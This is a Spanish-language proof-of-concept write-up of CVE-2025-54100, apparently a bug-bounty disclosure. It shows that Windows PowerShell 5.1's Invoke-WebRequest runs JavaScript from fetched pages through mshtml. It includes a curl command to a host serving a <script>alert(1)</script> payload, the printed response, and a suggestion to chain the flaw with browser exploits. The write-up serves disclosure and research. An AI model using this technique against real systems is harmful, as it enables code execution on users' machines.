
Prueba de concepto para CVE-2025-54100: XSS en Invoke-WebRequest de PowerShell mediante mshtml.HTMLDocumentClass, lo que permite ejecución remota de código al hacer curl de JavaScript malicioso.
El curl de Powershell utiliza Invoke-WebRequest internamente.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
Observando la documentación del parámetro UseBasicParsing,
Este parámetro ha quedado obsoleto. A partir de PowerShell 6.0.0, todas las solicitudes web usan solo análisis básico. Este parámetro se incluye únicamente para compatibilidad con versiones anteriores y cualquier uso que se le dé no tiene ningún efecto en el funcionamiento del cmdlet.
El problema reside en UseBasicParsing del cmdlet Invoke-WebRequest de Powershell. UseBasicParsing utiliza el análisis básico; no evalúa ningún código JavaScript. Simplemente lee el texto y lo analiza.
Si este parámetro no se proporciona, Invoke-WebRequest lanza Internet Explorer internamente e intenta analizar el código HTML evaluándolo realmente, usando mshtml.HTMLDocumentClass. Realizar una solicitud curl a un sitio web que aloja código JavaScript da como resultado la ejecución de código en el navegador del cliente, que en nuestro caso es la terminal de Windows.
La documentación de mshtml.HTMLDocumentClass se puede encontrar a continuación.
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
Observando el ciclo de vida del primer documento anterior, podemos ver que,
Windows PowerShell 5.1 Ago-2016 Publicado en la Actualización de Aniversario de Windows 10 y Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Ene-2018 13-Feb-2019 Construido sobre .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
Después de investigar un poco, notamos que las últimas versiones de Windows 11, Server 22 y 25 se distribuyen con una versión antigua de PowerShell (5.1 y es la predeterminada) que es vulnerable a ataques XSS.
Instalación limpia de Windows Server 22,

El ataque es muy sencillo;

PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
Puedes ser creativo y realizar cosas como open("about:blank").

También se debe considerar que esto podría usarse en cadenas más grandes, como exploits de navegador, para lograr una ejecución confiable o forzar el renderizado del navegador.
Severity: Important, Security Impact: Remote Code Execution y se otorgó una recompensa de $5,000.